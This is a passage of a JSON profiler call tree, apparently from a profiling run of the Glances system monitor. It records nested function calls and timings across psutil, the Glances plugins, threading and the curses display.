\"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992320012534037, \"l1593\": 0.0019992320012534037},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992320012534037, \"l1796\": 0.0019992320012534037},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.0019992320012534037},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000053005758673, \"l680\": 0.002000053005758673},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000053005758673, \"l1593\": 0.002000053005758673},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000053005758673, \"l1740\": 0.002000053005758673},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000053005758673, \"l1593\": 0.002000053005758673},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000053005758673, \"l382\": 0.002000053005758673},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000053005758673, \"l1683\": 0.002000053005758673},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.002000053005758673},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l718\": 0.002000053005758673},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.002000053005758673},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00799982099852059, \"l639\": 0.00799982099852059},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00799982099852059, \"l314\": 0.00799982099852059},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00799982099852059, \"l347\": 0.00799982099852059},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00799982099852059, \"l394\": 0.00799982099852059},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00799982099852059, \"l1593\": 0.00799982099852059},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00799982099852059, \"l1857\": 0.00799982099852059},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00799982099852059, \"l1593\": 0.00799982099852059},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00799982099852059, \"l375\": 0.00799982099852059},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004000724002253264, \"l1683\": 0.004000724002253264},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.004001,\"attributes\": {\"l730\": 0.004000724002253264},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.004001,\"attributes\": {\"l718\": 0.004000724002253264},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.004001,\"attributes\": {\"l682\": 0.004000724002253264},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.004001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020006999984616414, \"l1689\": 0.0020006999984616414},\"children\": [{\"identifier\": \"bytes.split\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"is_selected_extended_process\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000463\",\"time\": 0.002011,\"attributes\": {\"cGlancesProcesses\": 0.002011156000662595, \"l466\": 0.002011156000662595},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002011,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.001988,\"attributes\": {\"cGlancesProcesses\": 0.0019879210012732074, \"l689\": 0.0019879210012732074},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.001988,\"attributes\": {\"l589\": 0.0019879210012732074},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.001988,\"attributes\": {\"l584\": 0.0019879210012732074},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001988,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"compute_max_value\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000670\",\"time\": 0.002003,\"attributes\": {\"cGlancesProcesses\": 0.0020030559971928596, \"l674\": 0.0020030559971928596},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.001999709005758632, \"l155\": 0.001999709005758632},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002000,\"attributes\": {\"cGlancesProcesses\": 0.001999709005758632, \"l711\": 0.001999709005758632},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002000,\"attributes\": {\"l74\": 0.001999709005758632},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.008043,\"attributes\": {\"cProgramlistPlugin\": 0.00804328199592419, \"l678\": 0.005998169996018987, \"l686\": 0.0020451119999052025},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.005998,\"attributes\": {\"cProgramlistPlugin\": 0.005998169996018987, \"l633\": 0.005998169996018987},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.005998,\"attributes\": {\"cProgramlistPlugin\": 0.005998169996018987, \"l619\": 0.0019988739950349554, \"l614\": 0.0020000479998998344, \"l621\": 0.0019992480010841973},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.003999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002045,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.001965,\"attributes\": {\"cCpuPlugin\": 0.0019647849985631183, \"l1278\": 0.0019647849985631183},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.001965,\"attributes\": {\"l1295\": 0.0019647849985631183},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/cpu/__init__.py\\u0000169\",\"time\": 0.001965,\"attributes\": {\"cCpuPlugin\": 0.0019647849985631183, \"l175\": 0.0019647849985631183},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.001965,\"attributes\": {\"cCpuPlugin\": 0.0019647849985631183, \"l1351\": 0.0019647849985631183},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/cpu/__init__.py\\u0000184\",\"time\": 0.001965,\"attributes\": {\"cCpuPlugin\": 0.0019647849985631183, \"l225\": 0.0019647849985631183},\"children\": [{\"identifier\": \"cpu_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001930\",\"time\": 0.001965,\"attributes\": {\"l1932\": 0.0019647849985631183},\"children\": [{\"identifier\": \"cpu_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000606\",\"time\": 0.001965,\"attributes\": {\"l616\": 0.0019647849985631183},\"children\": [{\"identifier\": \"bytes.split\\u0000<built-in>\\u00000\",\"time\": 0.001965,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001965,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.011991,\"attributes\": {\"cProcesslistPlugin\": 0.01199081900267629, \"l678\": 0.01199081900267629},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001991,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.004221,\"attributes\": {\"cProcesslistPlugin\": 0.0042209919993183576, \"l633\": 0.0042209919993183576},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.004221,\"attributes\": {\"cProcesslistPlugin\": 0.0042209919993183576, \"l619\": 0.0042209919993183576},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002221,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001780,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020003550016554072, \"l634\": 0.0020003550016554072},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020003550016554072, \"l628\": 0.0020003550016554072},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.316110,\"attributes\": {\"cSensorsPlugin\": 0.2906481919999351, \"l1278\": 0.31416615300258854, \"cFsPlugin\": 0.019462805001239758, \"cIpPlugin\": 0.0021046289984951727, \"cMemPlugin\": 0.001950527002918534, \"cMemswapPlugin\": 0.001943595998454839, \"l1276\": 0.001943595998454839},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.314166,\"attributes\": {\"l1295\": 0.3128531300026225, \"l1299\": 0.0013130229999660514},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000149\",\"time\": 0.290648,\"attributes\": {\"cSensorsPlugin\": 0.2906481919999351, \"l159\": 0.0020050379971507937, \"l157\": 0.2886431540027843},\"children\": [{\"identifier\": \"submit\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/thread.py\\u0000199\",\"time\": 0.002005,\"attributes\": {\"cThreadPoolExecutor\": 0.0020050379971507937, \"l215\": 0.0020050379971507937},\"children\": [{\"identifier\": \"_adjust_thread_count\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/thread.py\\u0000219\",\"time\": 0.002005,\"attributes\": {\"cThreadPoolExecutor\": 0.0020050379971507937, \"l233\": 0.0020050379971507937},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u0000879\",\"time\": 0.002005,\"attributes\": {\"cThread\": 0.0020050379971507937, \"l943\": 0.0020050379971507937},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/_base.py\\u0000666\",\"time\": 0.288643,\"attributes\": {\"cThreadPoolExecutor\": 0.2886431540027843, \"l667\": 0.2886431540027843},\"children\": [{\"identifier\": \"shutdown\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/thread.py\\u0000254\",\"time\": 0.288643,\"attributes\": {\"cThreadPoolExecutor\": 0.2886431540027843, \"l273\": 0.2886431540027843},\"children\": [{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u00001096\",\"time\": 0.288643,\"attributes\": {\"cThread\": 0.2886431540027843, \"l1132\": 0.2886431540027843},\"children\": [{\"identifier\": \"_ThreadHandle.join\\u0000<built-in>\\u00000\",\"time\": 0.288643,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.089978,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.186509,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.012156,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.018150,\"attributes\": {\"cFsPlugin\": 0.018149782001273707, \"l131\": 0.018149782001273707},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.018150,\"attributes\": {\"cFsPlugin\": 0.018149782001273707, \"l182\": 0.018149782001273707},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.018150,\"attributes\": {\"l630\": 0.004913236996799242, \"l631\": 0.013236545004474465},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.002953,\"attributes\": {\"cForkProcess\": 0.002953463001176715, \"l121\": 0.002953463001176715},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.002953,\"attributes\": {\"l281\": 0.002953463001176715},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.002953,\"attributes\": {\"cPopen\": 0.002953463001176715, \"l20\": 0.002953463001176715},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.002953,\"attributes\": {\"cPopen\": 0.002953463001176715, \"l70\": 0.002953463001176715},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002953,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.005659,\"attributes\": {\"cForkProcess\": 0.005658763002429623, \"l156\": 0.005658763002429623},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.005659,\"attributes\": {\"cPopen\": 0.005658763002429623, \"l41\": 0.005658763002429623},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.005659,\"attributes\": {\"l1165\": 0.005658763002429623},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005659,\"attributes\": {\"cPollSelector\": 0.005658763002429623, \"l398\": 0.005658763002429623},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005659,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005659,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.001960,\"attributes\": {\"cForkProcess\": 0.001959773995622527, \"l121\": 0.001959773995622527},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.001960,\"attributes\": {\"l281\": 0.001959773995622527},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.001960,\"attributes\": {\"cPopen\": 0.001959773995622527, \"l20\": 0.001959773995622527},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.001960,\"attributes\": {\"cPopen\": 0.001959773995622527, \"l70\": 0.001959773995622527},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001960,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.007578,\"attributes\": {\"cForkProcess\": 0.007577782002044842, \"l156\": 0.007577782002044842},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.007578,\"attributes\": {\"cPopen\": 0.007577782002044842, \"l41\": 0.007577782002044842},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.007578,\"attributes\": {\"l1165\": 0.007577782002044842},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.007578,\"attributes\": {\"cPollSelector\": 0.007577782002044842, \"l398\": 0.007577782002044842},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.007578,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.007578,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001313,\"attributes\": {},\"children\": []},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000116\",\"time\": 0.002105,\"attributes\": {\"cIpPlugin\": 0.0021046289984951727, \"l127\": 0.0021046289984951727},\"children\": [{\"identifier\": \"get_stats_for_local_input\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000138\",\"time\": 0.002105,\"attributes\": {\"cIpPlugin\": 0.0021046289984951727, \"l140\": 0.0021046289984951727},\"children\": [{\"identifier\": \"get_first_ip\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u000089\",\"time\": 0.002105,\"attributes\": {\"cIpPlugin\": 0.0021046289984951727, \"l90\": 0.0021046289984951727},\"children\": [{\"identifier\": \"get_ip_address\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000740\",\"time\": 0.002105,\"attributes\": {\"l746\": 0.0021046289984951727},\"children\": [{\"identifier\": \"net_if_addrs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002228\",\"time\": 0.002105,\"attributes\": {\"l2246\": 0.0021046289984951727},\"children\": [{\"identifier\": \"net_if_addrs\\u0000<built-in>\\u00000\",\"time\": 0.002105,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002105,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001377\",\"time\": 0.001951,\"attributes\": {\"cMemPlugin\": 0.001950527002918534, \"l1379\": 0.001950527002918534},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/mem/__init__.py\\u0000253\",\"time\": 0.001951,\"attributes\": {\"cMemPlugin\": 0.001950527002918534, \"l261\": 0.001950527002918534},\"children\": [{\"identifier\": \"_update_for_local\\u0000/home/nicolargo/dev/glances/glances/plugins/mem/__init__.py\\u0000139\",\"time\": 0.001951,\"attributes\": {\"cMemPlugin\": 0.001950527002918534, \"l183\": 0.001950527002918534},\"children\": [{\"identifier\": \"zfs_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/zfs.py\\u000021\",\"time\": 0.001951,\"attributes\": {\"l27\": 0.001950527002918534},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001951,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001944,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 1.671097,\"attributes\": {\"cGlancesCursesStandalone\": 1.6710967640028684, \"l1154\": 0.0632642409982509, \"l1169\": 0.8041934430002584, \"l1172\": 0.8036390800043591},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.063264,\"attributes\": {\"cGlancesCursesStandalone\": 0.0632642409982509, \"l1135\": 0.06088874599663541, \"l1136\": 0.0023754950016154908},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.060889,\"attributes\": {\"cGlancesCursesStandalone\": 0.06088874599663541, \"l569\": 0.06088874599663541},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.060889,\"attributes\": {\"cGlancesCursesStandalone\": 0.06088874599663541, \"l545\": 0.06088874599663541},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.060889,\"attributes\": {\"cProgramlistPlugin\": 0.032889725000131875, \"l1101\": 0.05888802799745463, \"cProcesslistPlugin\": 0.025998302997322753, \"cSensorsPlugin\": 0.002000717999180779, \"l1099\": 0.002000717999180779},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.058888,\"attributes\": {\"cProgramlistPlugin\": 0.032889725000131875, \"l566\": 0.003989215998444706, \"l587\": 0.05489881199900992, \"cProcesslistPlugin\": 0.025998302997322753},\"children\": [{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.001990,\"attributes\": {\"l824\": 0.0019898280006600544},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000773\",\"time\": 0.001990,\"attributes\": {\"l773\": 0.0019898280006600544},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001990,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001990,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.030900,\"attributes\": {\"cProgramlistPlugin\": 0.03089989699947182, \"l538\": 0.03089989699947182},\"children\": [{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.005997,\"attributes\": {\"cProgramlistPlugin\": 0.005997251995722763, \"l309\": 0.005997251995722763},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []},{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.004002,\"attributes\": {\"cProgramlistPlugin\": 0.004002033994765952, \"l855\": 0.004002033994765952},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.004002,\"attributes\": {\"cProgramlistPlugin\": 0.004002033994765952, \"l969\": 0.004002033994765952},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000095002586022, \"l397\": 0.002000095002586022},\"children\": [{\"identifier\": \"seconds_to_hms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u000089\",\"time\": 0.002000,\"attributes\": {\"l96\": 0.002000095002586022},\"children\": 